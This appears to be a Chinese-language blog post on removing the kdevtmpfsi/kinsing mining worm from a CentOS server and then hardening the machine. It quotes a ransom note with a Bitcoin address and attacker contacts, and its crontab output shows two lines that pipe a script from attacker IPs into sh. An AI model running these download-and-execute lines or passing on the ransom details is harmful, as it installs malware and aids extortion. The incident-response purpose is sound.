Linux Centos 7 环境下的一台服务器CPU直接被打满,上服务器 top 命令看到了一个未知的 kdevtmpfsi 疯狂占用中,情况如下图:
同时阿里云检测平台,也同步提示对应容器出现的问题
问题原因:
postgres RCE导致h2Miner蠕虫病毒,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。在以往常见的攻击者或蠕虫中,其大多都沿用登陆容器后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。
造成影响:
本地数据库被删除并留下勒索信息
All your data is backed up. You must pay 0.0058 BTC to 1tpwVPxbRNtQuzKonhzdEsJL8n562uwAr In 48 hours, your data will be publicly disclosed and deleted. (more information: go to http://iplis.ru/data03)
After paying send mail to us: rambler+3f9yx@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 3F9YX
您的所有数据都已备份。您必须在48小时内向1tpwvpxbrntquzkonhzdesjl8n 562 uwar支付0.0058 BTC,您的数据将被公开披露和删除。(更多信息:前往http://iplis.ru/data03)
付款后发送邮件给我们:rambler+3f9yx@onionmail.org,我们将提供一个链接供您下载您的数据。您的数据库代码是:3F9YX
问题排查思路:
第一步: Top命令线程运行情况,找到kdevtmpfsi对应的进程ID
第二步:使用 kill -9 PID 杀死kdevtmpfsi 对应的进程,(暂时缓解CPU压力)
2分钟以后,再次被启动,怀疑有守护进行在检测
systemctl status 15727 查看其关联的守护进程,/tmp/kinsing /tmp/kdevtmpfsi删除
[root@iZm5e8ejbcjlydiguo25t1Z cron]# rm -rf /tmp/kinsing
[root@iZm5e8ejbcjlydiguo25t1Z cron]# rm -rf /tmp/kdevtmpfsi
第二步:crontab -l 命令先看看 crontab 的定时任务列表
[root@iZm5e8ejbcjlydiguo25t1Z /]# crontab -l
* * * * * wget -q -O - http://91.241.20.134/scg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://185.191.32.198/scg.sh | sh > /dev/null 2>&1
第三步:crontab -e 命令进行定时任务编辑(、,去除陌生的定时任务(要求在root用户下),在打开的文本中,按 i 进行编辑删除,编辑完后按【Esc退出】键退出编辑,再输入 :wq 强制性写入文件并退出
[root@iZm5e8ejbcjlydiguo25t1Z /]# crontab -e
第四步:ps -ef|grep kdevtmpfsi 命令查看 kdevtmpfsi 的进程,并且使用 kill -9 PID 杀死kdevtmpfsi 对应的进程
[root@iZm5e8ejbcjlydiguo25t1Z /]# ps -ef|grep 15727
999 15727 2285 98 19:09 ? 00:12:10 /tmp/kdevtmpfsi
root 29256 19641 0 19:21 pts/0 00:00:00 grep --color=auto 15727
[root@iZm5e8ejbcjlydiguo25t1Z /]#
[root@iZm5e8ejbcjlydiguo25t1Z /]# kill -9 15727
[root@iZm5e8ejbcjlydiguo25t1Z /]#
第五步:ps -ef|grep kinsing 命令查看kdevtmpfsi程序的守护进程kinsing ,并且使用 kill -9 PID 杀死对应的进程
[root@iZm5e8ejbcjlydiguo25t1Z /]# ps -ef|grep kinsing
999 1499 2285 0 15:18 ? 00:00:02 /tmp/kinsing
root 30296 19641 0 19:22 pts/0 00:00:00 grep --color=auto kinsing
[root@iZm5e8ejbcjlydiguo25t1Z /]#
[root@iZm5e8ejbcjlydiguo25t1Z /]# kill -9 1499
[root@iZm5e8ejbcjlydiguo25t1Z /]#
第六步:find / -iname kdevtmpfsi 命令再次确定kdevtmpfsi文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序
[root@iZm5e8ejbcjlydiguo25t1Z /]# find / -iname kdevtmpfsi
/var/lib/docker/overlay2/043871417a5fb7387307cffa18df1e3abc234663e05b1948ce2aa31e907d6708/merged/tmp/kdevtmpfsi
/var/lib/docker/overlay2/043871417a5fb7387307cffa18df1e3abc234663e05b1948ce2aa31e907d6708/diff/tmp/kdevtmpfsi
find: ‘/proc/31518’: 没有那个文件或目录
find: ‘/proc/31529’: 没有那个文件或目录
[root@iZm5e8ejbcjlydiguo25t1Z /]# rm -rf /var/lib/docker/overlay2/043871417a5fb7387307cffa18df1e3abc234663e05b1948ce2aa31e907d6708/merged/tmp/kdevtmpfsi
[root@iZm5e8ejbcjlydiguo25t1Z /]# rm -rf /var/lib/docker/overlay2/043871417a5fb7387307cffa18df1e3abc234663e05b1948ce2aa31e907d6708/diff/tmp/kdevtmpfsi
[root@iZm5e8ejbcjlydiguo25t1Z /]#
[root@iZm5e8ejbcjlydiguo25t1Z /]#
第七步:find / -iname kinsing 命令再次确定 kinsing 文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序
[root@iZm5e8ejbcjlydiguo25t1Z /]# find / -iname kinsing
/var/lib/docker/overlay2/043871417a5fb7387307cffa18df1e3abc234663e05b1948ce2aa31e907d6708/merged/tmp/kinsing
/var/lib/docker/overlay2/043871417a5fb7387307cffa18df1e3abc234663e05b1948ce2aa31e907d6708/diff/tmp/kinsing
[root@iZm5e8ejbcjlydiguo25t1Z /]#
[root@iZm5e8ejbcjlydiguo25t1Z /]#
[root@iZm5e8ejbcjlydiguo25t1Z /]# rm -rf /var/lib/docker/overlay2/043871417a5fb7387307cffa18df1e3abc234663e05b1948ce2aa31e907d6708/merged/tmp/kinsing
[root@iZm5e8ejbcjlydiguo25t1Z /]# rm -rf /var/lib/docker/overlay2/043871417a5fb7387307cffa18df1e3abc234663e05b1948ce2aa31e907d6708/diff/tmp/kinsing
[root@iZm5e8ejbcjlydiguo25t1Z /]#
[root@iZm5e8ejbcjlydiguo25t1Z /]#
第八步:cat ~/.ssh/authorized_keys 查看是否有陌生的的公钥,有则删除掉
恢复正常,观察一天后,不会再次启动
问题防护:
- 把异常的IP地址,入站及出站全部封禁
- 禁止使用默认端口,非必要不暴露在公网或绑定指定IP
- 启用
ssh公钥登陆
,禁用密码登陆。- 完善安全策略,入口流量,非必要一般只开放 80 443 端口就行,出口流量默认可以不限制,如果有需要根据需求来限制。